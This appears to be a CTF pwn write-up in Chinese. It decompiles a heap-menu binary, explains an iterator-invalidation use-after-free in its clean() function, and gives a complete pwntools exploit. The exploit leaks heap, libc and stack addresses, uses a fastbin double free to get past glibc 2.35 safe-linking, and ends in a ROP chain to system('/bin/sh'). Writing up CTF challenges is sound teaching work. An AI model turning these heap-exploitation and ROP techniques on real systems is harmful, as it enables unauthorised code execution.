std::vector<char *>::vector(v5, argv, envp);
std::vector<int>::vector(v6);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "welcome!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
while ( 1 )
{
while ( 1 )
{
menu();
std::istream::operator>>(&std::cin, &v4);
if ( v4 != 3 )
break;
clean(v5, v6);
show(v5, v6);
}
if ( v4 > 3 )
break;
if ( v4 == 1 )
{
alloc(v5, v6);
}
else
{
if ( v4 != 2 )
break;
clean(v5, v6);
remove(v5, v6);
}
}
exit(0);
}
unsigned __int64 __fastcall clean(__int64 a1, __int64 a2)
{
int i; // [rsp+1Ch] [rbp-34h]
__int64 v4; // [rsp+20h] [rbp-30h] BYREF
__int64 v5; // [rsp+28h] [rbp-28h] BYREF
__int64 v6; // [rsp+30h] [rbp-20h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-18h]
v7 = __readfsqword(0x28u);
for ( i = 0; i < (unsigned __int64)std::vector<int>::size(a2); ++i )
{
if ( *(_DWORD *)std::vector<int>::operator[](a2, i) == -1 )
{
v4 = std::vector<int>::begin(a2);
v5 = __gnu_cxx::__normal_iterator<int *,std::vector<int>>::operator+(&v4, i);
__gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(&v6, &v5);
std::vector<int>::erase(a2, v6);
v4 = std::vector<char *>::begin(a1);
v5 = __gnu_cxx::__normal_iterator<char **,std::vector<char *>>::operator+(&v4, i);
__gnu_cxx::__normal_iterator<char * const*,std::vector<char *>>::__normal_iterator<char **>(&v6, &v5);
std::vector<char *>::erase(a1, v6);
}
}
return v7 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall show(__int64 a1)
{
unsigned __int64 v1; // rbx
_QWORD *v3; // rax
int v5; // [rsp+14h] [rbp-1Ch] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-18h]
v6 = __readfsqword(0x28u);
printf("idx> ");
std::istream::operator>>(&std::cin, &v5);
if ( v5 >= 0 )
{
v1 = v5;
if ( v1 < std::vector<char *>::size(a1) )
{
std::operator<<<std::char_traits<char>>(&std::cout, "data: ");
v3 = (_QWORD *)std::vector<char *>::operator[](a1, v5);
std::operator<<<std::char_traits<char>>(&std::cout, *v3);
}
}
return v6 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall alloc(__int64 a1, __int64 a2)
{
__int64 v2; // rax
FILE *v3; // r12
int v4; // ebx
__int64 v5; // rax
char **v6; // rax
int n; // [rsp+1Ch] [rbp-24h] BYREF
void *v9; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v10; // [rsp+28h] [rbp-18h]
v10 = __readfsqword(0x28u);
std::operator<<<std::char_traits<char>>(&std::cout, "size> ");
std::istream::operator>>(&std::cin, &n);
v9 = malloc(n);
std::vector<char *>::push_back(a1, &v9);
std::vector<int>::push_back(a2, &n);
std::operator<<<std::char_traits<char>>(&std::cout, "content> ");
v2 = std::numeric_limits<long>::max();
std::istream::ignore((std::istream *)&std::cin, v2, 10);
v3 = stdin;
v4 = n;
v5 = std::vector<char *>::size(a1);
v6 = (char **)std::vector<char *>::operator[](a1, v5 - 1);
fgets(*v6, v4, v3);
return v10 - __readfsqword(0x28u);
}
unsigned __int64 __fastcall remove(__int64 a1, __int64 a2)
{
unsigned __int64 v2; // rbx
void **v4; // rax
__int64 v5; // rax
int v7; // [rsp+14h] [rbp-1Ch] BYREF
unsigned __int64 v8; // [rsp+18h] [rbp-18h]
v8 = __readfsqword(0x28u);
printf("idx> ");
std::istream::operator>>(&std::cin, &v7);
if ( v7 >= 0 )
{
v2 = v7;
if ( v2 < std::vector<char *>::size(a1) )
{
v4 = (void **)std::vector<char *>::operator[](a1, v7);
free(*v4);
*(_DWORD *)std::vector<int>::operator[](a2, v7) = -1;
v5 = std::operator<<<std::char_traits<char>>(&std::cout, "memory deleted");
std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
}
}
return v8 - __readfsqword(0x28u);
}
第一次做stl迭代器安全相关的题
漏洞出在clean函数这边,这里的逻辑其实是 在循环chunklist.earse(chunklist.being() + i) sizelist.earse(list.being() + i) ,如果存在连续的size == -1的堆块,第一次earse的时候 容器的大小发生了变化,所以earse后的i就不是 earse前的 i了。是 i + 1,然后alloc的时候,输入size -1是能正常的push_back到sizelist里面的,所以可以通过这个漏洞去构造出uaf
unsigned __int64 __fastcall clean(__int64 a1, __int64 a2)
{
int i; // [rsp+1Ch] [rbp-34h]
__int64 v4; // [rsp+20h] [rbp-30h] BYREF
__int64 v5; // [rsp+28h] [rbp-28h] BYREF
__int64 v6; // [rsp+30h] [rbp-20h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-18h]
v7 = __readfsqword(0x28u);
for ( i = 0; i < (unsigned __int64)std::vector<int>::size(a2); ++i )
{
if ( *(_DWORD *)std::vector<int>::operator[](a2, i) == -1 )
{
v4 = std::vector<int>::begin(a2);
v5 = __gnu_cxx::__normal_iterator<int *,std::vector<int>>::operator+(&v4, i);
__gnu_cxx::__normal_iterator<int const*,std::vector<int>>::__normal_iterator<int *>(&v6, &v5);
std::vector<int>::erase(a2, v6);
v4 = std::vector<char *>::begin(a1);
v5 = __gnu_cxx::__normal_iterator<char **,std::vector<char *>>::operator+(&v4, i);
__gnu_cxx::__normal_iterator<char * const*,std::vector<char *>>::__normal_iterator<char **>(&v6, &v5);
std::vector<char *>::erase(a1, v6);
}
}
return v7 - __readfsqword(0x28u);
}
首先是glibc 2.35 构造任意地址写的原语需要泄露堆地址去绕开safe link, 泄露堆地址和 libc的地址,通过unsortedbin泄露libc的地址,可以直接申请一个很大的chunk然后free掉,这样就直接进unsortedbin了,不用填满tcache.
因为cout是读到换行就不读了,所以不能通过fastbin double free直接去泄露environ的值,但?直接写vector成员指针的值也可以?覆盖vector[0] 为 environ的地址然后show就能泄露栈地址了,泄露栈地址后再fastbin double free一次写返回地址然后打rop去getshell
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "47.100.139.115"
PORT = 30708
elf = context.binary = ELF('./vuln')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr
b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)
b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)
return b
def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )
p = connect()
def alloc(sz, content):
sla(b"> ", b"1")
sla(b"> ", str(sz).encode())
if sz > 0:
sla(b"> ", content)
else:
ru(b"> ")
def free(idx):
sla(b"> ", b"2")
sla(b"> ", str(idx).encode())
def show(idx):
sla(b"> ", b"3")
sla(b"> ", str(idx).encode())
alloc(-1, b"") # 0
alloc(-1, b"") # 1
alloc(0x88, b"fakechunk") # 2
# g(p)
free(1) # free 2
show(0) # show 2
ru(b"data: ")
heap_base = (u64(r(5).ljust(8,b'\x00')) << 12) - (0x5df8b4e9b000 - 0x5df8b4e8a000)
success(hex(heap_base))
show(0) # clean up vector
alloc(-1, b"") # 0
alloc(-1, b"") # 1
alloc(0x1000, b"fakechunk") # 2
alloc(0x100, b"padding") # 3
# g(p)
free(1) # free 2
show(0) # show 0
ru(b"data: ")
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7b6ad2c1ace0 - 0x7b6ad2a00000)
success(hex(libc_base))
free(0)
show(0) # clean up vector
for i in range(7):
alloc(0x68, b"padding tcache")
for i in range(2**9+2**8):
alloc(-1, b"")
for i in range(2):
alloc(0x68, b"fastbin")
for i in range(7):
free(0)
# double free
free(3)
free(2)
free(0)
for n in range(7):
alloc(0x68, b"a")
environ = libc_base + 0x222200
vector_target = heap_base + 0x14910
pos = heap_base + 0x12950
payload = (pos >> 12) ^ (vector_target)
alloc(0x68,p64(payload)) # A
alloc(0x68,"BBBBBBBB")
alloc(0x68,p64(payload)) # A
alloc(0x68,p64(environ) + p64(environ)) # coverage vector[0] [1]
show(0)
ru(b"data: ")
stack = u64(r(6).ljust(8,b'\x00'))
success(hex(stack))
for i in range(7):
alloc(0x78,"padding tcache2")
for i in range(2**9+2**8):
alloc(-1, b"")
for i in range(2):
alloc(0x78,"fastbin")
for i in range(7):
free(11)
# double free
free(14)
free(13)
free(11)
for n in range(7):
alloc(0x78, b"a")
pos = heap_base + 0x12db0
rbp = stack - (0x7ffd4b8f6098 - 0x7ffd4b8f5f08) - 0x8
success(hex(rbp))
payload = (pos >> 12) ^ (rbp)
alloc(0x78,p64(payload))
alloc(0x78,"BBBBBBBB")
alloc(0x78,p64(payload))
ret = libc_base + 0x00000000000baaf9 # xor rax,rax; ret
pop_rdi_ret = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a' * 0x8 + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
# g(p)
alloc(0x78,payload)
p.interactive()